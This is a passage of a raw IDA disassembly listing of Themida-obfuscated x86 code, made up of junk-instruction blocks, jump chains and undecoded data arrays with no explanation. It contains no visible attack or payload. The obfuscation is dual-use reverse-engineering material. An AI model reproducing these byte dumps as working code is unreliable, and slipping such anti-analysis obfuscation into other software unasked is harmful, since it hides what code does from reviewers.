		dw 0C481h
		dd 4, 0FF8F0DE9h, 7E5605FFh, 0BE5674E8h, 6BB83C77h, 0E907E6C1h
		dd 0FFFFB1B0h
; ---------------------------------------------------------------------------


loc_55FBE4:				; CODE XREF: Themida_:00559D14j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_564EDF
; ---------------------------------------------------------------------------


loc_55FBFB:				; CODE XREF: Themida_:0055EC99j
		add	al, 9Dh
		mov	ecx, [esp]
		add	esp, 4
		add	bl, 7Dh
		add	bl, 53h
		jmp	loc_55D120
; ---------------------------------------------------------------------------


loc_55FC11:				; CODE XREF: Themida_:00561D18j
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 28h
		push	7BEh
		jmp	loc_560188
; ---------------------------------------------------------------------------
		dw 460Ch
		dd 0B00C0904h, 0E0C0E8D0h, 0D0C83406h, 404CE9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FC3A:				; CODE XREF: Themida_:0055619Bj
		sub	esi, 3F7A7C19h
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_554417
; ---------------------------------------------------------------------------


loc_55FC4B:				; CODE XREF: Themida_:0055EEB5j
		push	small 3117h
		mov	[esp], ax
		jmp	loc_552BBB
; ---------------------------------------------------------------------------
		dd 0C20E08BAh, 54C28154h, 0C13C894Fh, 0C28107E2h, 54A02E99h
		dd 236BC281h, 0D30105B1h, 44B8505Ah, 0F73AEC54h, 0ABB82DD8h
		dd 0C301C513h, 168E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FC8A:				; CODE XREF: Themida_:005585D0j
		xor	edx, 94C5304Fh
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 3538341Eh
		add	edx, eax
		pop	eax
		push	5555h
		mov	[esp], eax
		mov	eax, 761D0D47h
		shr	eax, 2
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		push	esi
		jmp	loc_552FCE
; ---------------------------------------------------------------------------


loc_55FCBD:				; CODE XREF: Themida_:0055E386j
		mov	ebp, 6D304436h
		or	ebp, 7CD07637h
		inc	ebp
		xor	ebp, 7DF0763Ch
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		jmp	loc_563AB0
; ---------------------------------------------------------------------------
aQsai		db 'QИ²I',0
		align 10h
aXbuH		db 'X│Н',0Ah
		db 'h',0
		dw 105h
		dd 4EE95EF1h, 81000016h, 85096FF6h, 8EEC114h, 6E91BD55h
		dd 0EE014902h, 12F3E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FD06:				; CODE XREF: Themida_:00567125j
		xor	ah, 0
		sub	dl, ah
		pop	eax
		jmp	loc_55E5BC
; ---------------------------------------------------------------------------
		db 2Ch,	0FCh, 50h
a5aX		db '╢5─цx',0
aUaixx		db 'Ц─КxX',0
aAi5xsU		db 'ц─К5XИгU',0
		align 2
		dw 2C8Bh
		dd 4C48124h, 0E9000000h, 0FFFFB1DFh, 4C481h, 0F2010000h
		dd 0E904EC83h, 0FFFFF3C3h
; ---------------------------------------------------------------------------


loc_55FD48:				; CODE XREF: Themida_:005672A7j
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	edi, esi
		pop	esi
		and	eax, edi
		pop	edi
		push	dword ptr [edi+1Ch]
		push	16E8h
		mov	[esp], edx
		jmp	loc_5632F3
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0FBE95524h, 5DFFFFB2h, 5304C483h, 7A4BE9h, 243C8900h
		dd 0FF6D0CE9h, 9FBB53FFh, 0E9075A56h, 6F6Ch, 2ECFC281h
		dd 32E97AA7h, 0FF00002Ch, 0E9042474h, 9Ah, 462EE81h, 0F701FA28h
		dd 24422D5Eh, 0F829577Ah, 34B1E9h, 2C48300h, 5D2434FFh
		dd 4C481h, 1660000h, 0DA2D66D8h, 0E0895057h, 405h, 42D00h
		dd 6E90000h, 0FFFFFF89h, 1BE92434h, 33FFFF7Dh, 14312414h
		dd 24143324h, 77BDE95Ch, 1C870000h, 24248B24h, 3304C583h
		dd 2C31242Ch, 242C3324h, 0FF54CEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FE09:				; CODE XREF: Themida_:00556F3Aj
		add	eax, 4
		jmp	loc_55D507
; ---------------------------------------------------------------------------


loc_55FE13:				; CODE XREF: Themida_:00559164j
		push	dword ptr [esp]
		jmp	loc_55B753
; ---------------------------------------------------------------------------
		db 81h
		dd 7A4EBBEAh, 5AD101CAh, 31240C33h, 0C0E9240Ch,	50FFFF9Fh
		dd 1A65DFB8h, 55A8E96Ah, 0E95A0000h, 3704h
; ---------------------------------------------------------------------------


loc_55FE40:				; CODE XREF: Themida_:00561785j
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 6406DD2h
		add	edi, eax
		mov	eax, [esp]
		jmp	loc_55DAAF
; ---------------------------------------------------------------------------
		dd 96D8F759h, 0F0E9DEF7h, 8B00002Eh, 0B8502424h, 4, 0FF4991E9h
		dd 4EA81FFh, 33000000h,	14312414h, 24143324h, 8924248Bh
		dd 0EC832404h, 8C9AE904h, 0B42CFFFFh, 69E97E2Ch
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FE97:				; CODE XREF: Themida_:005568BFj
		add	eax, 4
		jmp	loc_566402
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 50000000h, 4B8h, 58C30100h, 8B241C87h, 0E92424h
		db 2Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FEBB:				; CODE XREF: Themida_:005576C4j
		xor	edi, 0F8928864h
		add	ebp, edi
		jmp	loc_55BADF
; ---------------------------------------------------------------------------
		dd 4F2CD828h, 241C8B66h, 0FF816AE9h, 4C781FFh, 0E9000000h
		dd 0FFFFB674h, 1EE9DA89h, 81000057h, 4ECh, 24048900h, 405E089h
		dd 5000000h, 4,	443CE950h, 4050000h, 5000000h, 4, 2474FF50h
		dd 24048B04h, 8F04C483h, 305C2404h, 52515AF0h, 0C3E5E951h
		db 2 dup(0FFh)
word_55FF26	dw 0C868h		; DATA XREF: Themida_:0055290Co
		dd 0E9000004h, 69E5h, 5CF7815Fh, 57044370h, 243C8B58h
		dd 0E904C483h, 0FFFFF3B1h, 0F181D1F7h, 275121EAh, 5468C981h
		dd 0F181492Eh, 87E8DAABh, 0E959C821h, 45DFh, 4EC81h, 24890000h
		dd 24048324h, 2CE95804h, 0B9FFFFC4h, 69635A5Fh,	0EAE9CD01h
		dd 8F000081h, 76E92404h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FF87:				; CODE XREF: Themida_:00567B3Dj
		mov	dl, 2Ch
		dec	dl
		jmp	loc_553858
; ---------------------------------------------------------------------------
		dd 7141C581h, 0EE012561h, 0E92434FFh, 0FFFF39DAh, 8B241433h
		dd 0F7662424h, 706866F9h, 14896669h, 457EE924h,	2966FFFFh
		dd 0E95E66F3h, 0FFFF95EFh
; ---------------------------------------------------------------------------


loc_55FFC0:				; CODE XREF: Themida_:005548FFj
		pop	edx
		xor	ebp, 583627A8h
		jmp	loc_55BDC3
; ---------------------------------------------------------------------------
		dd 5C241433h, 9C2424D3h, 0FF2BE2E9h, 4C481FFh, 51000000h
		dd 0C1815954h, 4, 8704C183h, 248B240Ch,	24048F24h, 2404895Ch
		dd 0FF2BBEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FFFD:				; CODE XREF: Themida_:005542C4j
		push	eax
		jmp	loc_554F82
; ---------------------------------------------------------------------------
		db 66h
		dd 9C2404FFh, 0FF2BAEE9h, 24148BFFh, 4EC81h, 4890000h
		dd 0E9E08924h, 0FFFFC8FBh, 0C1701AB9h, 9EBE560Ch, 0E906A05Dh
		dd 0FFFF8D90h
dword_560030	dd 582434FFh, 227268h, 242C8900h, 7DE868h, 24248900h, 4240483h
					; DATA XREF: Themida_:00552B38o
		dd 4C5815Dh, 57000000h,	0C781E789h, 4, 0E904EF83h, 246Dh
; ---------------------------------------------------------------------------


loc_560060:				; CODE XREF: Themida_:00559A28j
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		or	eax, eax
		jnz	loc_562FC9
		push	53E0h
		mov	[esp], edi
		jmp	loc_558568
; ---------------------------------------------------------------------------
word_5600A2	dw 0E9ADh		; DATA XREF: Themida_:00552938o
		dd 0FFFFBA2Dh
; ---------------------------------------------------------------------------


loc_5600A8:				; CODE XREF: Themida_:00563F52j
		mov	ebx, 42563300h
		add	edx, ebx
		pop	ebx
		sub	edx, 127443D1h
		jmp	loc_559764
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4BCE6B65h, 31949FBBh, 5FFB01B4h, 4966C281h, 0BF5737D0h
		dd 56A8126Ch, 3C8BFA29h, 4C48324h, 0C281DA01h, 56A8126Ch
		dd 4966EA81h, 0E9E937D0h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5600EF:				; CODE XREF: Themida_:0056658Aj
		or	ebp, 41FB1385h
		sub	ebp, 575FE1C0h
		sub	edx, ebp
		pop	ebp
		sub	edx, 14D37F95h
		add	edx, ebp
		add	edx, 14D37F95h
		push	eax
		mov	eax, 72BD3608h
		jmp	loc_557A19
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0F8240481h, 292E1B4Fh, 0AA68241Ch, 8900007Bh, 0F8BF243Ch
		dd 0E92E1B4Fh, 4B28h
; ---------------------------------------------------------------------------


loc_560134:				; CODE XREF: Themida_:00561532j
		sub	esp, 4
		jmp	loc_55CBA9
; ---------------------------------------------------------------------------
		db 80h
		dd 0F780A6CFh, 5BF9886Bh, 0C8BCB88h, 4C48324h, 0E92EB450h
		dd 795Eh, 4FE9C389h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56015F:				; CODE XREF: Themida_:0055D502j
		mov	ebp, 0
		jmp	loc_557345
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0EBC063B3h, 2A686606h, 5A93E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56017A:				; CODE XREF: Themida_:005565DBj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_564047
; ---------------------------------------------------------------------------


loc_560188:				; CODE XREF: Themida_:0055FC21j
		mov	[esp], ebp
		jmp	loc_553A68
; ---------------------------------------------------------------------------
		dd 5935F381h, 1B683FB6h, 0E9000026h, 2294h, 24132468h
		dd 9E95912h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5601AB:				; CODE XREF: Themida_:00564199j
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_564A0E
; ---------------------------------------------------------------------------
		dw 0CD81h
		dd 0F840211h, 0FF9640E9h, 1AC381FFh, 1688212h, 1AEB81C3h
		dd 0FF688212h, 51582434h, 0BA52E189h, 4, 7322E9h, 19B85000h
		dd 89AA0051h, 0C38158C7h, 4CAB1899h, 6697EB81h,	0F8E90137h
		dd 5B00007Fh, 8B24048Fh, 14892424h, 313C6824h, 0E6E90000h
		dd 0E900001Ah, 0FFFF297Fh, 3024248Bh, 0E99C2404h, 0FFFF2973h
		dd 5359CE01h, 5E38A4BBh, 5EC38175h, 18AA1C7h, 241C8BDEh
		dd 4C481h, 34330000h, 24343124h, 0E9243433h, 0FFFFA2D1h
		dd 24048F54h, 4BD5550h,	0E9000000h, 5244h, 75C5EB81h, 55E93512h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56028B:				; CODE XREF: Themida_:00558525j
		pop	ebp
		add	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebx, 3E702648h
		push	649Fh
		mov	[esp], ecx
		push	eax
		push	0C095A99h
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 62586B73h
		or	ecx, 52EB49E3h
		sub	ecx, 1EF00BE6h
		push	ecx
		dec	dword ptr [esp]
		pop	ecx
		sub	ecx, 1
		push	ebp
		mov	ebp, 60017382h
		xor	ebp, 6B4F2D5Bh
		shr	ebp, 6
		or	ebp, 42E60F5Bh
		add	ebp, 12A82DBFh
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5676ED
; ---------------------------------------------------------------------------
		db 68h
		dd 16A3h, 0B8240489h, 7DE869ECh, 8904EC83h, 0AAE92434h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56031B:				; CODE XREF: Themida_:00554DF0j
		add	ebp, 1
		sub	ebp, 0A14EC0E7h
		mov	ebx, ebp
		pop	ebp
		shl	ebx, 6
		jmp	loc_563F1D
; ---------------------------------------------------------------------------


loc_560332:				; CODE XREF: Themida_:005606F7j
		mov	edi, [esp]
		add	esp, 4
		xor	ecx, 266C2BF9h
		jmp	loc_554FC2
; ---------------------------------------------------------------------------


loc_560346:				; CODE XREF: Themida_:0055E0D7j
		xor	esi, 3B2844BFh
		xor	esi, 7E290C5Fh
		xor	eax, esi
		jmp	loc_557C1F
; ---------------------------------------------------------------------------


loc_560359:				; CODE XREF: Themida_:00565B74j
		mov	ebx, [esp]
		add	esp, 4
		push	10AFh
		mov	[esp], ebx
		jmp	loc_56255D
; ---------------------------------------------------------------------------
byte_56036F	db 8Bh			; DATA XREF: Themida_:00552944o
		dd 0EC832404h, 24148904h, 68F468h, 4EC8300h, 83242489h
		dd 0E9042404h, 0FFFFFBF3h, 0C581E589h, 4, 4C581h, 2C870000h
		dd 0FB685C24h, 89000009h, 0E2892414h, 556468h, 1B9BE900h
		dd 0C330000h, 53CBE924h, 835D0000h, 93E904C4h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5603C3:				; CODE XREF: Themida_:00555ACDj
		pop	ebx
		jmp	loc_5548EA
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 8B240C33h, 0C3302424h, 3F55E9h
		db 0
; ---------------------------------------------------------------------------


loc_5603D9:				; CODE XREF: Themida_:00562161j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5607D2
; ---------------------------------------------------------------------------
byte_5603E7	db 0FFh			; DATA XREF: Themida_:00552ADCo
		dd 34FF2434h, 7C5CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5603F2:				; CODE XREF: Themida_:0055BAE6j
		sub	edx, 49E8FD99h
		jmp	loc_5543FC
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 2Bh
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560403:				; CODE XREF: Themida_:00561DD5j
		sub	ebx, 79083F20h
		sub	ebx, esi
		add	ebx, 79083F20h
		pop	esi
		push	0
		push	ebx
		mov	ebx, 2F3C177Eh
		jmp	loc_55C9B3
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 0E189515Ah, 1113E9h, 2BE5600h, 31020200h
		dd 0DA295EF3h, 81241C8Bh, 4C4h,	74FF5200h, 8F5A0424h, 53E92404h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560453:				; CODE XREF: Themida_:0055AC57j
		neg	ebp
		jmp	loc_563EA2
; ---------------------------------------------------------------------------
		dw 15Eh
		dd 242C8BEFh, 8704C483h, 665C243Ch, 66C8BE0Fh, 666FF168h
		dd 0E9240C89h, 0FFFF2743h, 2404A30Fh, 2739E99Ch, 8952FFFFh
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 0FFD4E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560499:				; CODE XREF: Themida_:00567841j
		mov	eax, [esp]
		jmp	loc_568127
; ---------------------------------------------------------------------------
byte_5604A1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00552994o
aVh		db '$Vhъ!',0
		dw 8900h
		dd 53562424h, 0B6593168h, 241C8B3Fh, 0E904C483h, 0FFFFFCD0h
		dd 4C4835Ah, 5558C529h,	23243481h, 8B175D3Eh, 0C4812404h
		dd 4, 5D3E2335h, 2EE95D17h, 66FFFF49h, 0F6240489h, 66012454h
		dd 8124048Bh, 2C4h, 9AE95000h, 29FFFF73h, 0E99C2404h, 0FFFF26B7h
; ---------------------------------------------------------------------------


loc_560504:				; CODE XREF: Themida_:0055F394j
		push	esp
		jmp	loc_560BEA
; ---------------------------------------------------------------------------
		dw 0C330h
		dd 66C0B60Fh, 0E987048Fh, 0FFFF26A3h, 1C57215Fh, 0FFC05FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560521:				; CODE XREF: Themida_:005612D2j
		sub	edx, 3C27961h
		add	edx, 38D88C69h
		jmp	loc_55523F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815A24h, 4, 0C63036B6h, 582434FFh, 0FF7A3EE9h, 75BB53FFh
		dd 0E92FDC1Fh, 55CCh
; ---------------------------------------------------------------------------


loc_560554:				; CODE XREF: Themida_:00559C93j
		sub	al, cl
		pop	ecx
		jmp	loc_55E95C
; ---------------------------------------------------------------------------
		dd 4C4835Fh, 246C015Eh,	242C8B04h, 6AA868h, 242C8900h
		dd 0C581E589h, 4, 8704C583h, 0E95C242Ch, 2E1h
; ---------------------------------------------------------------------------


loc_560584:				; CODE XREF: Themida_:0055452Fj
		sub	eax, 3AEA2F4Dh
		shl	eax, 1
		push	ebp
		mov	ebp, 65F26669h
		jmp	loc_563A57
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 451F50A1h, 67E9C829h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5605A3:				; CODE XREF: Themida_:0055EA87j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55F049
; ---------------------------------------------------------------------------
aHi		db '\hi|',0
		align 2
		dw 2C89h
		dd 4BD24h, 60E90000h, 4BFFFFDEh, 6673E381h, 0E38165D6h
		dd 568E40D2h, 99ACEB81h, 0DA01F829h, 0FF6ADBE9h, 23685CFFh
		dd 89000064h, 0EC812414h, 4, 52240489h,	0BAE90EB6h, 0F7FFFFECh
		dd 3E8C1D0h, 7800E9h
		db 0
byte_56061D	db 66h,	8Bh, 4		; DATA XREF: Themida_:005529B8o
		dd 0E9545324h, 0FFFFC975h
; ---------------------------------------------------------------------------


loc_560628:				; CODE XREF: Themida_:0055EA3Fj
		add	edi, 475A36F8h
		jmp	loc_556437
; ---------------------------------------------------------------------------


loc_560633:				; CODE XREF: Themida_:00562879j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_557842
; ---------------------------------------------------------------------------


loc_560640:				; CODE XREF: Themida_:005572B6j
		push	ecx
		mov	ecx, 68973E48h
		shl	ecx, 6
		or	ecx, 5D167574h
		shr	ecx, 1
		not	ecx
		sub	ecx, 4AE5EB04h
		mov	edi, ecx
		jmp	loc_5667AF
; ---------------------------------------------------------------------------
		dd 0E9FFEB83h, 0FFFFE7F1h
; ---------------------------------------------------------------------------


loc_560668:				; CODE XREF: Themida_:00559444j
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55E750
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 0E92434FFh, 0FFFFF6E7h, 264FE981h,	348B34AEh
		dd 4C48324h, 51BA5253h,	81786C31h, 0D37FBAE2h, 9AC28168h
		dd 0E9117026h, 0FFFF8155h, 6F169F68h, 0E7815F09h, 8F37F6Eh
		dd 0FF5494E9h, 73EE80FFh, 0F65AF320h, 662FE9D3h, 15AFFFFh
		dd 0C1815FF9h, 4F055234h, 0E981F901h, 4F055234h, 6988E981h
		dd 0E95F518Bh, 0FFFFF699h
; ---------------------------------------------------------------------------


loc_5606E8:				; CODE XREF: Themida_:00554799j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_567404
; ---------------------------------------------------------------------------


loc_5606F5:				; CODE XREF: Themida_:00567561j
		and	ecx, edi
		jmp	loc_560332
; ---------------------------------------------------------------------------
		dd 7E420DB9h, 54EE975h,	14870000h, 14895C24h, 6EA7BA24h
		dd 0D58943ABh, 614CE9h
		db 0
; ---------------------------------------------------------------------------


loc_560719:				; CODE XREF: Themida_:00555C29j
		add	edi, ebx
		sub	edi, 38AE421Fh
		pop	ebx
		xor	esi, edi
		pop	edi
		sub	edi, 658C2B95h
		add	edi, 655A4CE4h
		add	edi, 620256E7h
		sub	edi, esi
		sub	edi, 620256E7h
		sub	edi, 655A4CE4h
		push	edx
		push	esi
		push	ecx
		jmp	loc_558F2D
; ---------------------------------------------------------------------------


loc_56074D:				; CODE XREF: Themida_:0055D8B8j
		mov	ebx, 0E5D0457h
		jmp	loc_557F12
; ---------------------------------------------------------------------------


loc_560757:				; CODE XREF: Themida_:00553AF7j
		neg	ebx
		push	ecx
		jmp	loc_555193
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483243Ch, 0B8B85004h, 31378866h, 0E18158C1h, 66334B03h
		dd 3C37BF57h, 0E9813AACh, 22F67905h, 6112C181h,	0F9010481h
		dd 6112E981h, 0E9500481h, 3AABh
; ---------------------------------------------------------------------------


loc_560794:				; CODE XREF: Themida_:00563306j
		sub	[esp+4], edx
		jmp	loc_566CE1
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 14h
aSvm		db '$ИVM',0
		align 2


loc_5607A6:				; CODE XREF: Themida_:00565B40j
		xor	esi, 123A21EBh
		xor	esi, 0FF64B479h
		dec	esi
		or	esi, 4B326591h
		push	edx
		jmp	loc_559BF0
; ---------------------------------------------------------------------------
		db 81h
		dd 0E37B49F1h, 59CF0185h, 2474FF57h, 8FF7E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5607D2:				; CODE XREF: Themida_:005603E2j
		push	esi
		mov	esi, 58F3020Eh
		jmp	loc_565E6C
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0CE68E95Fh, 815AFFFFh, 4C4h,	4EC8300h, 0FF243C89h, 2DE92434h
		dd 0B9FFFFCDh, 0
		dd 259FE981h, 0D9295D71h, 44F4E9h, 4BEBA00h, 0DA3153A1h
		dd 0FFD3295Bh, 148B2434h, 4C48124h, 83000000h, 1C3304C4h
		dd 241C3124h, 8B241C33h, 94E92424h, 80FFFF69h, 0D42821F2h
		dd 0FF747EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560841:				; CODE XREF: Themida_:00555729j
		push	eax
		push	53ADh
		mov	[esp], edi
		jmp	loc_567412
; ---------------------------------------------------------------------------
		db 8
		dd 805A66F3h, 686601F3h, 0FAE91E77h, 5C00005Ch,	0FF48ABE9h
		dd 2434FFFFh, 4C4815Eh,	68000000h, 3CF9h, 0B9240C89h, 4
		dd 0FFF9C7E9h, 4EC81FFh, 68000000h, 18B8h, 0E9242489h
		dd 32Fh, 0E983C281h, 0D589F69Eh, 7EDC15Ah, 4D02E5C1h, 4E17C581h
		dd 0E5D129C4h, 3928F581h, 0EE897CE0h, 0A512E95Dh, 0CD89FFFFh
		dd 0FF72DEE9h, 0A1C281FFh, 5903952Eh, 31241433h, 14332414h
		dd 14895C24h, 4EC8124h,	89000000h, 94E92424h, 5DFFFFB4h
		dd 0FF582AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5608E9:				; CODE XREF: Themida_:005593B7j
		mov	esi, [esp]
		add	esp, 4
		add	esi, 7BE0705Eh
		push	edx
		mov	edx, 20F7140Dh
		shl	edx, 8
		xor	edx, 0C1F47C12h
		add	esi, edx
		jmp	loc_5536C9
; ---------------------------------------------------------------------------
		db 81h
		dd 7961EDC7h, 0E9FB0142h, 3759h
; ---------------------------------------------------------------------------


loc_560918:				; CODE XREF: Themida_:00553FEDj
		xor	eax, 109D453Dh
		and	esi, eax
		pop	eax
		push	esi
		jmp	loc_554D69
; ---------------------------------------------------------------------------
		dw 0DFF7h
		dd 8102EFC1h, 266A17F7h, 3AE7815Ch, 816DFD68h, 0A0BA5F7h
		dd 5FF8294Eh, 0FFB49FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560945:				; CODE XREF: Themida_:0056382Cj
		pop	esi
		push	eax
		jmp	loc_5582EC
; ---------------------------------------------------------------------------
		dd 68h,	24342900h, 0FF592DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560959:				; CODE XREF: Themida_:00562699j
		pop	esi
		sub	eax, 37447ED7h
		sub	eax, ebx
		add	eax, 37447ED7h
		pop	ebx
		add	eax, ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 76906146h
		jmp	loc_555E37
; ---------------------------------------------------------------------------
		dd 9078E95Ch, 0BA52FFFFh, 5B7A7B87h, 68h, 24142900h, 6E2C15Ah
		dd 9CD8F281h, 0D031735Eh, 0FF92AEE9h, 81E789FFh, 4C7h
		dd 5280E900h, 0ED81FFFFh, 0FED9637h, 2C8BE929h,	89B0E924h
		dd 8359FFFFh, 0FF5002C0h, 8B042474h, 1BE92404h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5609CF:				; CODE XREF: Themida_:005590B4j
		dec	eax
		xor	eax, 0A45865h
		push	esi
		mov	esi, 719F3529h
		and	eax, esi
		pop	esi
		xchg	eax, ebx
		inc	ebx
		xchg	eax, ebx
		push	edi
		push	edx
		jmp	loc_561FCC
; ---------------------------------------------------------------------------


loc_5609E8:				; CODE XREF: Themida_:00556383j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_557785
; ---------------------------------------------------------------------------
		dw 1489h
		dd 81E28924h, 4C2h, 4BD5500h, 29000000h, 14875DEAh, 366CE924h
		db 2 dup(0FFh)
word_560A12	dw 8B66h		; DATA XREF: Themida_:005529D4o
		dd 8368240Ch, 0E9000072h, 0FFFFA277h
; ---------------------------------------------------------------------------


loc_560A20:				; CODE XREF: Themida_:00561B29j
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	ebx, 31355F3Eh
		add	ebx, esi
		sub	ebx, 31355F3Eh
		jmp	loc_5595A2
; ---------------------------------------------------------------------------
		db 5Ch
		dd 83243C8Bh, 0FD6804C4h, 89000046h, 0A3BD242Ch, 0E9659208h
		dd 0FFFFE678h
; ---------------------------------------------------------------------------


loc_560A60:				; CODE XREF: Themida_:0055E75Cj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edi
		add	dword ptr [esp], 369C3AD9h
		pop	eax
		sub	eax, 369C3AD9h
		push	dword ptr [esp]
		jmp	loc_554AE7
; ---------------------------------------------------------------------------
		db 5Ch,	87h, 0Ch
		dd 24248B24h, 0FFADCDE9h, 4FE681FFh, 81078438h,	3877B6E6h
		dd 73BDE90Ah, 14310000h, 24143324h, 5724248Bh, 5374E9h
		dd 9DC68100h, 5D0AF778h, 676EE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560ACA:				; CODE XREF: Themida_:00564A14j
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	esi
		push	edi
		push	esi
		push	edi
		jmp	loc_558829
; ---------------------------------------------------------------------------


loc_560ADB:				; CODE XREF: Themida_:00559038j
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		jmp	loc_558BD2
; ---------------------------------------------------------------------------


loc_560B01:				; CODE XREF: Themida_:0055E9FBj
		add	[esp+4], eax
		push	1625h
		mov	[esp], ecx
		push	43DB47F4h
		jmp	loc_55F6FA
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2434h, 0E2895224h, 6510BD55h, 0ED817CE5h, 7CE5650Ch
		dd 4FE9EA01h, 56FFFF9Bh, 0BA52E689h, 17677498h,	7494EA81h
		dd 14E91767h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560B47:				; CODE XREF: Themida_:005649D1j
		mov	edx, [esp]
		jmp	loc_555D9D
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D6F705E6h, 77D4C681h, 78E9536Eh
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560B5F:				; CODE XREF: Themida_:00565047j
		pop	ebx
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	0AF3h
		mov	[esp], edi
		push	4DB66B9Eh
		pop	edi
		mov	ebx, 8EF8B942h
		push	edi
		mov	edi, 31CC43E2h
		xor	edi, 6BDD6EBDh
		add	ebx, edi
		jmp	loc_5598F8
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5C240C87h, 89243C89h, 4C781E7h, 83000000h, 3C8704C7h
		dd 24248B24h, 348BF001h, 4C48124h, 83000000h, 0B3E904ECh
		dd 81FFFFAFh, 42404h, 48F0000h,	24048124h, 4, 0FF2036E9h
		dd 5BDA29FFh, 3014C281h, 0D2F76A7Ah, 0E89EE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


